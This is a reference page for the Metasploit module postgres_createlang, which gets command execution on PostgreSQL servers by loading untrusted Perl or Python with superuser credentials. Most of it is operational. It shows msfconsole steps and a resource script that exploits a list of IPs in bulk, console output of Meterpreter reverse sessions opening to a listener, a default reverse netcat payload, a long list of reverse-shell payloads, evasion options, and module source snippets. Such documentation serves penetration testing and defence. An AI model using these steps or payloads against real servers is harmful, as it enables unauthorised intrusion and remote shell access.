PostgreSQL CREATE LANGUAGE Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/postgres/postgres_createlang metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: PostgreSQL CREATE LANGUAGE Execution
Module: exploit/multi/postgres/postgres_createlang
Source code: modules/exploits/multi/postgres/postgres_createlang.rb
Disclosure date: 2016-01-01
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, OSX, Unix, Windows
Target service / protocol: postgres
Target network port(s): 5432
List of CVEs: -

Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages. Most commonly this is Perl and Python. When enabled, command execution is possible on the host. To execute system commands, loading the "untrusted" version of the language is necessary. This requires a superuser. This is usually postgres. The execution should be platform-agnostic, and has been tested on OS X, Windows, and Linux. This module attempts to load Perl or Python to execute system commands. As this dynamically loads a scripting language to execute commands, it is not necessary to drop a file on the filesystem. Only Postgres 8 and up are supported.

Module Ranking and Traits


Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage


Using postgres_createlang against a single host

Normally, you can use exploit/multi/postgres/postgres_createlang this way:

msf > use exploit/multi/postgres/postgres_createlang
msf exploit(postgres_createlang) > show targets
    ... a list of targets ...
msf exploit(postgres_createlang) > set TARGET target-id
msf exploit(postgres_createlang) > show options
    ... show and set options ...
msf exploit(postgres_createlang) > exploit

Using postgres_createlang against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your postgres_createlang will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/postgres/postgres_createlang")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage


Here is how the multi/postgres/postgres_createlang exploit module looks in the msfconsole:

msf6 > use exploit/multi/postgres/postgres_createlang

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/postgres/postgres_createlang) > show info

       Name: PostgreSQL CREATE LANGUAGE Execution
     Module: exploit/multi/postgres/postgres_createlang
   Platform: Linux, Unix, Windows, OSX
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2016-01-01

Provided by:
  Micheal Cottingham
  midnitesnake
  Nixawk

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  DATABASE  template1        yes       The database to authenticate against
  PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     5432             yes       The target port (TCP)
  USERNAME  postgres         yes       The username to authenticate as

Payload information:

Description:
  Some installations of Postgres 8 and 9 are configured to allow 
  loading external scripting languages. Most commonly this is Perl and 
  Python. When enabled, command execution is possible on the host. To 
  execute system commands, loading the "untrusted" version of the 
  language is necessary. This requires a superuser. This is usually 
  postgres. The execution should be platform-agnostic, and has been 
  tested on OS X, Windows, and Linux. This module attempts to load 
  Perl or Python to execute system commands. As this dynamically loads 
  a scripting language to execute commands, it is not necessary to 
  drop a file on the filesystem. Only Postgres 8 and up are supported.

References:
  http://www.postgresql.org/docs/current/static/sql-createlanguage.html
  http://www.postgresql.org/docs/current/static/plperl.html
  http://www.postgresql.org/docs/current/static/plpython.html

Module Options


This is a complete list of options available in the multi/postgres/postgres_createlang exploit:

msf6 exploit(multi/postgres/postgres_createlang) > show options

Module options (exploit/multi/postgres/postgres_createlang):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port (TCP)
   USERNAME  postgres         yes       The username to authenticate as

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/postgres/postgres_createlang exploit:

msf6 exploit(multi/postgres/postgres_createlang) > show advanced

Module advanced options (exploit/multi/postgres/postgres_createlang):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/postgres/postgres_createlang module can exploit:

msf6 exploit(multi/postgres/postgres_createlang) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/postgres/postgres_createlang exploit:

msf6 exploit(multi/postgres/postgres_createlang) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/cmd/windows/adduser                                  normal  No     Windows Execute net user /ADD CMD
   47  payload/cmd/windows/bind_lua                                 normal  No     Windows Command Shell, Bind TCP (via Lua)
   48  payload/cmd/windows/bind_perl                                normal  No     Windows Command Shell, Bind TCP (via Perl)
   49  payload/cmd/windows/bind_perl_ipv6                           normal  No     Windows Command Shell, Bind TCP (via perl) IPv6
   50  payload/cmd/windows/bind_ruby                                normal  No     Windows Command Shell, Bind TCP (via Ruby)
   51  payload/cmd/windows/download_eval_vbs                        normal  No     Windows Executable Download and Evaluate VBS
   52  payload/cmd/windows/download_exec_vbs                        normal  No     Windows Executable Download and Execute (via .vbs)
   53  payload/cmd/windows/generic                                  normal  No     Windows Command, Generic Command Execution
   54  payload/cmd/windows/powershell_bind_tcp                      normal  No     Windows Interactive Powershell Session, Bind TCP
   55  payload/cmd/windows/powershell_reverse_tcp                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   56  payload/cmd/windows/reverse_lua                              normal  No     Windows Command Shell, Reverse TCP (via Lua)
   57  payload/cmd/windows/reverse_perl                             normal  No     Windows Command, Double Reverse TCP Connection (via Perl)
   58  payload/cmd/windows/reverse_powershell                       normal  No     Windows Command Shell, Reverse TCP (via Powershell)
   59  payload/cmd/windows/reverse_ruby                             normal  No     Windows Command Shell, Reverse TCP (via Ruby)
   60  payload/generic/custom                                       normal  No     Custom Payload
   61  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   62  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/postgres/postgres_createlang exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/postgres/postgres_createlang) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Authentication failed


Here is a relevant code snippet related to the "<PEER> - Authentication failed" error message:

78:	
79:	  def login_success?
80:	    status = do_login(username, password, database)
81:	    case status
82:	    when :noauth
83:	      print_error "#{peer} - Authentication failed"
84:	      return false
85:	    when :noconn
86:	      print_error "#{peer} - Connection failed"
87:	      return false
88:	    else

<PEER> - Connection failed


Here is a relevant code snippet related to the "<PEER> - Connection failed" error message:

81:	    case status
82:	    when :noauth
83:	      print_error "#{peer} - Authentication failed"
84:	      return false
85:	    when :noconn
86:	      print_error "#{peer} - Connection failed"
87:	      return false
88:	    else
89:	      print_status "#{peer} - #{status}"
90:	      return true
91:	    end

<PEER> - <LANGUAGE> could not be loaded


Here is a relevant code snippet related to the "<PEER> - <LANGUAGE> could not be loaded" error message:

98:	      return true
99:	    when :loaded
100:	      print_good "#{peer} - #{language} was successfully loaded, continuing"
101:	      return true
102:	    when :not_exists
103:	      print_status "#{peer} - #{language} could not be loaded"
104:	      return false
105:	    else
106:	      vprint_error "#{peer} - error occurred loading #{language}"
107:	      return false
108:	    end

<PEER> - error occurred loading <LANGUAGE>


Here is a relevant code snippet related to the "<PEER> - error occurred loading <LANGUAGE>" error message:

101:	      return true
102:	    when :not_exists
103:	      print_status "#{peer} - #{language} could not be loaded"
104:	      return false
105:	    else
106:	      vprint_error "#{peer} - error occurred loading #{language}"
107:	      return false
108:	    end
109:	  end
110:	
111:	  def exec_function?(func_name)

<PEER> - Connection error


Here is a relevant code snippet related to the "<PEER> - Connection error" error message:

112:	    query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
113:	    select_query = postgres_query(query)
114:	
115:	    case select_query.keys[0]
116:	    when :conn_error
117:	      print_error "#{peer} - Connection error"
118:	      return false
119:	    when :sql_error
120:	      print_warning "#{peer} - Unable to execute query: #{query}"
121:	      return false
122:	    when :complete

<PEER> - Unable to execute query: <QUERY>


Here is a relevant code snippet related to the "<PEER> - Unable to execute query: <QUERY>" error message:

115:	    case select_query.keys[0]
116:	    when :conn_error
117:	      print_error "#{peer} - Connection error"
118:	      return false
119:	    when :sql_error
120:	      print_warning "#{peer} - Unable to execute query: #{query}"
121:	      return false
122:	    when :complete
123:	      print_good "#{peer} - Exploit successful"
124:	      return true
125:	    else

<PEER> - Unknown


Here is a relevant code snippet related to the "<PEER> - Unknown" error message:

121:	      return false
122:	    when :complete
123:	      print_good "#{peer} - Exploit successful"
124:	      return true
125:	    else
126:	      print_error "#{peer} - Unknown"
127:	      return false
128:	    end
129:	  end
130:	
131:	  def create_function?(language, func_name)

<PEER> - Connection error


Here is a relevant code snippet related to the "<PEER> - Connection error" error message:

144:	      load_func = postgres_query(query)
145:	    end
146:	
147:	    case load_func.keys[0]
148:	    when :conn_error
149:	      print_error "#{peer} - Connection error"
150:	      return false
151:	    when :sql_error
152:	      print_error "#{peer} Exploit failed"
153:	      return false
154:	    when :complete

<PEER> Exploit failed


Here is a relevant code snippet related to the "<PEER> Exploit failed" error message:

147:	    case load_func.keys[0]
148:	    when :conn_error
149:	      print_error "#{peer} - Connection error"
150:	      return false
151:	    when :sql_error
152:	      print_error "#{peer} Exploit failed"
153:	      return false
154:	    when :complete
155:	      print_good "#{peer} - Loaded UDF (exec_#{func_name})"
156:	      return true
157:	    else

<PEER> - Unknown


Here is a relevant code snippet related to the "<PEER> - Unknown" error message:

153:	      return false
154:	    when :complete
155:	      print_good "#{peer} - Loaded UDF (exec_#{func_name})"
156:	      return true
157:	    else
158:	      print_error "#{peer} - Unknown"
159:	      return false
160:	    end
161:	  end
162:	
163:	  def load_procedural_language(language, extension)

pl<LANGUAGE>u


Here is a relevant code snippet related to the "pl<LANGUAGE>u" error message:

163:	  def load_procedural_language(language, extension)
164:	    query = "CREATE #{extension} pl#{language}u"
165:	    load_language = postgres_query(query)
166:	    return :loaded unless load_language.keys[0] == :sql_error
167:	
168:	    match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
169:	    return :exists if match_exists
170:	
171:	    match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
172:	    return :not_exists if match_error
173:	  end

<PEER> - Login failed


Here is a relevant code snippet related to the "<PEER> - Login failed" error message:

180:	        username: user,
181:	        password: password
182:	      )
183:	
184:	      return result[:auth] if result[:auth]
185:	      print_error "#{peer} - Login failed"
186:	      return :noauth
187:	
188:	    rescue Rex::ConnectionError
189:	      return :noconn
190:	    end

Please clear extension [<LANGUAGE>]: function [<FUNC_NAME>] manually


Here is a relevant code snippet related to the "Please clear extension [<LANGUAGE>]: function [<FUNC_NAME>] manually" error message:

198:	    languages.each do |language|
199:	      next unless load_extension?(language)
200:	      func_name = Rex::Text.rand_text_alpha(10)
201:	      next unless create_function?(language, func_name)
202:	      if exec_function?(func_name)
203:	        print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
204:	        break
205:	      end
206:	    end
207:	    postgres_logout if @postgres_conn
208:	  end

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References


See Also


Check also the following modules related to this module:

Authors


  • Micheal Cottingham
  • midnitesnake
  • Nixawk

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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